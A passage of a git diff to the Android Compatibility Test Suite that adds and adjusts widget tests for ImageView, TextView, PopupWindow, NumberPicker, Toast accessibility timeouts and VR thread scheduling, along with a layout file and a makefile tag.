+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/text"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"/>
+
+ <TextView android:id="@+id/text_password"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:password="true"/>
+
+ <TextView android:id="@+id/text_phone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:inputType="phone"
+ android:textIsSelectable="true"/>
+
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index d59fe97..8b43bb1 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -48,6 +48,7 @@
import android.graphics.PorterDuff.Mode;
import android.graphics.PorterDuffColorFilter;
import android.graphics.PorterDuffXfermode;
+import android.graphics.Rect;
import android.graphics.Xfermode;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.ColorDrawable;
@@ -670,6 +671,55 @@
0xFF0000FF, 1, false);
}
+ @UiThreadTest
+ @Test
+ public void testAnimateTransform() {
+ Bitmap bitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ALPHA_8);
+ mImageViewRegular.setScaleType(ScaleType.FIT_XY);
+ mImageViewRegular.setImageBitmap(bitmap);
+ Rect viewRect = new Rect(0, 0, mImageViewRegular.getWidth(), mImageViewRegular.getHeight());
+ Rect bitmapRect = new Rect(0, 0, bitmap.getWidth(), bitmap.getHeight());
+
+ assertEquals(viewRect, mImageViewRegular.getDrawable().getBounds());
+ assertTrue(mImageViewRegular.getImageMatrix().isIdentity());
+
+ Matrix matrix = new Matrix();
+ mImageViewRegular.animateTransform(matrix);
+
+ assertEquals(bitmapRect, mImageViewRegular.getDrawable().getBounds());
+ assertEquals(matrix, mImageViewRegular.getImageMatrix());
+
+ // clear temporary transformation
+ mImageViewRegular.setImageBitmap(bitmap);
+
+ assertEquals(viewRect, mImageViewRegular.getDrawable().getBounds());
+ assertTrue(mImageViewRegular.getImageMatrix().isIdentity());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testAnimateTransformWithNullPassed() {
+ Bitmap bitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ALPHA_8);
+ mImageViewRegular.setScaleType(ScaleType.CENTER);
+ mImageViewRegular.setImageBitmap(bitmap);
+ Rect viewRect = new Rect(0, 0, mImageViewRegular.getWidth(), mImageViewRegular.getHeight());
+ Rect bitmapRect = new Rect(0, 0, bitmap.getWidth(), bitmap.getHeight());
+
+ assertEquals(bitmapRect, mImageViewRegular.getDrawable().getBounds());
+ assertFalse(mImageViewRegular.getImageMatrix().isIdentity());
+
+ mImageViewRegular.animateTransform(null);
+
+ assertEquals(viewRect, mImageViewRegular.getDrawable().getBounds());
+ assertTrue(mImageViewRegular.getImageMatrix().isIdentity());
+
+ // clear temporary transformation
+ mImageViewRegular.setImageBitmap(bitmap);
+
+ assertEquals(bitmapRect, mImageViewRegular.getDrawable().getBounds());
+ assertFalse(mImageViewRegular.getImageMatrix().isIdentity());
+ }
+
public static class MockImageView extends ImageView {
public MockImageView(Context context) {
super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index f7573c8..46d5ca3 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -479,6 +479,7 @@
prepareFourQuadrantsScenario();
mMagnifier = new Magnifier.Builder(mLayout)
.setForcePositionWithinWindowSystemInsetsBounds(false)
+ .setSize(40, 40)
.build();
// Magnify the center of the activity in a magnifier outside bounds.
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 1f98bb7..e537bdf 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -438,4 +438,16 @@
mNumberPicker.setWrapSelectorWheel(true);
assertTrue(mNumberPicker.getWrapSelectorWheel());
}
+
+ @UiThreadTest
+ @Test
+ public void testSelectionDividerHeight() {
+ final NumberPicker numberPicker =
+ (NumberPicker) mActivity.findViewById(R.id.number_picker_divider_height);
+ final int initialValue = numberPicker.getSelectionDividerHeight();
+ assertEquals("Height set via XML", 4, initialValue);
+ final int newValue = 8;
+ numberPicker.setSelectionDividerHeight(newValue);
+ assertEquals(newValue, numberPicker.getSelectionDividerHeight());
+ }
}
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index a731dc3..4384c0c 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -639,6 +639,7 @@
public void testShowAtLocation() throws Throwable {
int[] popupContentViewInWindowXY = new int[2];
int[] popupContentViewOnScreenXY = new int[2];
+ Rect containingRect = new Rect();
mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
// Do not attach within the decor; we will be measuring location
@@ -662,11 +663,12 @@
assertTrue(mPopupWindow.isShowing());
mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
mPopupWindow.getContentView().getLocationOnScreen(popupContentViewOnScreenXY);
+ upperAnchor.getWindowDisplayFrame(containingRect);
assertTrue(popupContentViewInWindowXY[0] >= 0);
assertTrue(popupContentViewInWindowXY[1] >= 0);
- assertEquals(popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
- assertEquals(popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
+ assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
+ assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
dismissPopup();
}
@@ -947,6 +949,7 @@
int[] fstXY = new int[2];
int[] sndXY = new int[2];
int[] viewInWindowXY = new int[2];
+ Rect containingRect = new Rect();
final Point popupPos = new Point();
mActivityRule.runOnUiThread(() -> {
@@ -966,6 +969,7 @@
showPopup();
mPopupWindow.getContentView().getLocationInWindow(viewInWindowXY);
final View containerView = mActivity.findViewById(R.id.main_container);
+ containerView.getWindowDisplayFrame(containingRect);
// update if it is not shown
mActivityRule.runOnUiThread(() -> mPopupWindow.update(80, 80));
@@ -987,8 +991,8 @@
assertEquals(50, mPopupWindow.getHeight());
mPopupWindow.getContentView().getLocationOnScreen(fstXY);
- assertEquals(popupPos.x + viewInWindowXY[0], fstXY[0]);
- assertEquals(popupPos.y + viewInWindowXY[1], fstXY[1]);
+ assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], fstXY[0]);
+ assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], fstXY[1]);
popupPos.set(windowInsets.getStableInsetLeft() + 4, windowInsets.getStableInsetTop());
@@ -1002,8 +1006,8 @@
assertEquals(50, mPopupWindow.getHeight());
mPopupWindow.getContentView().getLocationOnScreen(sndXY);
- assertEquals(popupPos.x + viewInWindowXY[0], sndXY[0]);
- assertEquals(popupPos.y + viewInWindowXY[1], sndXY[1]);
+ assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], sndXY[0]);
+ assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], sndXY[1]);
dismissPopup();
}
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
index ffa5a28..a4584e5 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
@@ -24,8 +24,6 @@
import android.text.PrecomputedText;
import android.text.PrecomputedText.Params;
import android.text.PrecomputedText.Params.Builder;
-import android.text.TextDirectionHeuristic;
-import android.text.TextDirectionHeuristics;
import android.text.TextPaint;
import android.text.TextUtils;
import android.util.Pair;
@@ -67,8 +65,6 @@
@Parameterized.Parameter(8)
public boolean differentHyphenationFrequency;
@Parameterized.Parameter(9)
- public boolean differentTextDir;
- @Parameterized.Parameter(10)
public boolean differentFontVariationSettings;
// text size from the default value.
@@ -135,15 +131,8 @@
differenceList.add("Hyphenation Frequency");
}
- TextDirectionHeuristic dir = params.getTextDirection();
- if (differentTextDir) {
- dir = dir == TextDirectionHeuristics.LTR
- ? TextDirectionHeuristics.RTL : TextDirectionHeuristics.LTR;
- differenceList.add("Text Direction");
- }
-
final Params outParams = new Builder(paint).setBreakStrategy(strategy)
- .setHyphenationFrequency(hyFreq).setTextDirection(dir).build();
+ .setHyphenationFrequency(hyFreq).build();
return new Pair(outParams, differenceList.toArray(new String[differenceList.size()]));
}
@@ -156,7 +145,7 @@
ArrayList<Object[]> allParams = new ArrayList<>();
// Compute the powerset except for all false case.
- final int allParameterCount = 11;
+ final int allParameterCount = 10;
// The 11-th bit is for font variation settings. Don't add test case if the system don't
// have variable fonts.
final int fullBits = hasVarFont()
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 1431401..8c6e7e7 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -90,6 +90,7 @@
import android.text.SpannableString;
import android.text.SpannableStringBuilder;
import android.text.Spanned;
+import android.text.TextDirectionHeuristics;
import android.text.TextPaint;
import android.text.TextUtils;
import android.text.TextUtils.TruncateAt;
@@ -4025,6 +4026,48 @@
@UiThreadTest
@Test
+ public void testCursorDrawable_isNotNullByDefault() {
+ assertNotNull(new TextView(mActivity).getTextCursorDrawable());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testCursorDrawable_canBeSet_toDrawable() {
+ mTextView = new TextView(mActivity);
+ final Drawable cursor = TestUtils.getDrawable(mActivity, R.drawable.blue);
+ mTextView.setTextCursorDrawable(cursor);
+ assertSame(cursor, mTextView.getTextCursorDrawable());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testCursorDrawable_canBeSet_toDrawableResource() {
+ mTextView = new TextView(mActivity);
+ mTextView.setTextCursorDrawable(R.drawable.start);
+ WidgetTestUtils.assertEquals(TestUtils.getBitmap(mActivity, R.drawable.start),
+ ((BitmapDrawable) mTextView.getTextCursorDrawable()).getBitmap());
+ }
+
+ @UiThreadTest
+ @Test(expected = NullPointerException.class)
+ public void testCursorDrawable_cannotBeSetToNull() {
+ new TextView(mActivity).setTextCursorDrawable(null);
+ }
+
+ @UiThreadTest
+ @Test(expected = IllegalArgumentException.class)
+ public void testCursorDrawable_cannotBeSetToZeroResId() {
+ new TextView(mActivity).setTextCursorDrawable(0);
+ }
+
+ @UiThreadTest
+ @Test(expected = IllegalArgumentException.class)
+ public void testCursorDrawable_cannotBeSetToNegativeResId() {
+ new TextView(mActivity).setTextCursorDrawable(-1);
+ }
+
+ @UiThreadTest
+ @Test
public void testHandleDrawables_areNotNullByDefault() {
mTextView = new TextView(mActivity);
assertNotNull(mTextView.getTextSelectHandle());
@@ -4271,6 +4314,48 @@
@UiThreadTest
@Test
+ public void testIsSingleLineTrue() {
+ mTextView = new TextView(mActivity);
+
+ mTextView.setSingleLine(true);
+
+ assertTrue(mTextView.isSingleLine());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testIsSingleLineFalse() {
+ mTextView = new TextView(mActivity);
+
+ mTextView.setSingleLine(false);
+
+ assertFalse(mTextView.isSingleLine());
+ }
+
+ @Test
+ public void testXmlIsSingleLineTrue() {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final LayoutInflater layoutInflater = LayoutInflater.from(context);
+ final View root = layoutInflater.inflate(R.layout.textview_singleline, null);
+
+ mTextView = root.findViewById(R.id.textview_singleline_true);
+
+ assertTrue(mTextView.isSingleLine());
+ }
+
+ @Test
+ public void testXmlIsSingleLineFalse() {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final LayoutInflater layoutInflater = LayoutInflater.from(context);
+ final View root = layoutInflater.inflate(R.layout.textview_singleline, null);
+
+ mTextView = root.findViewById(R.id.textview_singleline_false);
+
+ assertFalse(mTextView.isSingleLine());
+ }
+
+ @UiThreadTest
+ @Test
public void testAccessMaxLines() {
mTextView = findTextView(R.id.textview_text);
mTextView.setWidth((int) (mTextView.getPaint().measureText(LONG_TEXT) / 4));
@@ -8219,6 +8304,122 @@
}
}
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_password_returnsLTR() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text_password);
+
+ assertEquals(TextDirectionHeuristics.LTR, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_LtrLayout_TextDirectionFirstStrong() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG);
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+
+ assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionFirstStrong() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG);
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+
+ assertEquals(TextDirectionHeuristics.FIRSTSTRONG_RTL, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionAnyRtl() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_ANY_RTL);
+
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+ assertEquals(TextDirectionHeuristics.ANYRTL_LTR, textView.getTextDirectionHeuristic());
+
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+ assertEquals(TextDirectionHeuristics.ANYRTL_LTR, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionLtr() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_LTR);
+
+ assertEquals(TextDirectionHeuristics.LTR, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionRtl() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_RTL);
+
+ assertEquals(TextDirectionHeuristics.RTL, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionFirstStrongLtr() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG_LTR);
+
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+ assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR, textView.getTextDirectionHeuristic());
+
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+ assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionFirstStrongRtl() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG_RTL);
+
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+ assertEquals(TextDirectionHeuristics.FIRSTSTRONG_RTL, textView.getTextDirectionHeuristic());
+
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+ assertEquals(TextDirectionHeuristics.FIRSTSTRONG_RTL, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_phoneInputType_returnsLTR() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text_phone);
+
+ textView.setTextLocale(Locale.forLanguageTag("ar"));
+ textView.setTextDirection(View.TEXT_DIRECTION_RTL);
+ textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+
+ assertEquals(TextDirectionHeuristics.LTR, textView.getTextDirectionHeuristic());
+ }
+
+ @Test
+ @UiThreadTest
+ public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionLocale() {
+ mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+ final TextView textView = mActivity.findViewById(R.id.text);
+ textView.setTextDirection(View.TEXT_DIRECTION_LOCALE);
+
+ assertEquals(TextDirectionHeuristics.LOCALE, textView.getTextDirectionHeuristic());
+ }
+
private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
assertTrue(text.length() >= SMARTSELECT_END);
mActivityRule.runOnUiThread(() -> {
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4ea9b88..202ed09 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -24,10 +24,12 @@
import static org.junit.Assert.assertTrue;
import android.app.Instrumentation;
+import android.app.UiAutomation;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.os.SystemClock;
+import android.provider.Settings;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.LargeTest;
@@ -37,10 +39,13 @@
import android.view.View;
import android.view.ViewTreeObserver;
import android.view.WindowManager;
+import android.view.accessibility.AccessibilityManager;
import android.widget.ImageView;
import android.widget.Toast;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestUtils;
import org.junit.Before;
import org.junit.Rule;
@@ -51,6 +56,9 @@
@RunWith(AndroidJUnit4.class)
public class ToastTest {
private static final String TEST_TOAST_TEXT = "test toast";
+ private static final String SETTINGS_ACCESSIBILITY_UI_TIMEOUT =
+ "accessibility_non_interactive_ui_timeout_ms";
+ private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
private static final long TIME_FOR_UI_OPERATION = 1000L;
private static final long TIME_OUT = 5000L;
private Toast mToast;
@@ -203,6 +211,69 @@
}
@Test
+ public void testAccessDuration_withA11yTimeoutEnabled() throws Throwable {
+ makeToast();
+ final Runnable showToast = () -> {
+ mToast.setDuration(Toast.LENGTH_SHORT);
+ mToast.show();
+ };
+ long start = SystemClock.uptimeMillis();
+ mActivityRule.runOnUiThread(showToast);
+ mInstrumentation.waitForIdleSync();
+ assertShowAndHide(mToast.getView());
+ final long shortDuration = SystemClock.uptimeMillis() - start;
+
+ final UiAutomation uiAutomation = mInstrumentation.getUiAutomation();
+ final String originalSetting = Settings.Secure.getString(mContext.getContentResolver(),
+ SETTINGS_ACCESSIBILITY_UI_TIMEOUT);
+ try {
+ final int a11ySettingDuration = (int) shortDuration + 1000;
+ SystemUtil.runWithShellPermissionIdentity(uiAutomation,
+ () -> Settings.Secure.putInt(mContext.getContentResolver(),
+ SETTINGS_ACCESSIBILITY_UI_TIMEOUT, a11ySettingDuration));
+ waitForA11yRecommendedTimeoutChanged(mContext,
+ ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS, a11ySettingDuration);
+ start = SystemClock.uptimeMillis();
+ mActivityRule.runOnUiThread(showToast);
+ mInstrumentation.waitForIdleSync();
+ assertShowAndHide(mToast.getView());
+ final long a11yDuration = SystemClock.uptimeMillis() - start;
+ assertTrue(a11yDuration >= a11ySettingDuration);
+ } finally {
+ SystemUtil.runWithShellPermissionIdentity(uiAutomation,
+ () -> Settings.Secure.putString(mContext.getContentResolver(),
+ SETTINGS_ACCESSIBILITY_UI_TIMEOUT, originalSetting));
+ }
+ }
+
+ /**
+ * Wait for accessibility recommended timeout changed and equals to expected timeout.
+ *
+ * @param expectedTimeoutMs expected recommended timeout
+ */
+ private void waitForA11yRecommendedTimeoutChanged(Context context,
+ long waitTimeoutMs, int expectedTimeoutMs) {
+ final AccessibilityManager manager =
+ (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
+ final Object lock = new Object();
+ AccessibilityManager.AccessibilityServicesStateChangeListener listener = (m) -> {
+ synchronized (lock) {
+ lock.notifyAll();
+ }
+ };
+ manager.addAccessibilityServicesStateChangeListener(listener, null);
+ try {
+ TestUtils.waitOn(lock,
+ () -> manager.getRecommendedTimeoutMillis(0,
+ AccessibilityManager.FLAG_CONTENT_TEXT) == expectedTimeoutMs,
+ waitTimeoutMs,
+ "Wait for accessibility recommended timeout changed");
+ } finally {
+ manager.removeAccessibilityServicesStateChangeListener(listener);
+ }
+ }
+
+ @Test
public void testAccessMargin() throws Throwable {
makeToast();
View view = mToast.getView();
diff --git a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
index 9fd01b1..b73a5d3 100644
--- a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
+++ b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
@@ -39,6 +39,10 @@
private static final int SCHED_RESET_ON_FORK = 0x40000000;
public static final String ENABLED_VR_LISTENERS = "enabled_vr_listeners";
private static final String TAG = "VrSetFIFOThreadTest";
+ // After setVrModeEnabled call, wait some time for change to take effect.
+ // Arbitrary timeout is set as there is no way to query the result from app
+ // see b/119819897
+ private static final int SLEEP_TIME_MS = 3000;
public VrSetFIFOThreadTest() {
super(OpenGLESActivity.class);
@@ -81,6 +85,7 @@
PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
int vr_thread = 0, policy = 0;
mActivity.setVrModeEnabled(true, requestedComponent);
+ Thread.sleep(SLEEP_TIME_MS);
vr_thread = Process.myTid();
mActivityManager =
(ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
@@ -103,6 +108,7 @@
PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
int vr_thread = 0, policy = 0;
mActivity.setVrModeEnabled(false, requestedComponent);
+ Thread.sleep(SLEEP_TIME_MS);
vr_thread = Process.myTid();
mActivityManager =
(ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index 676734d..4086cde 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -65,7 +65,7 @@
LOCAL_MODULE_PATH := $(intermediates)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_SYSTEM)/base_rules.mk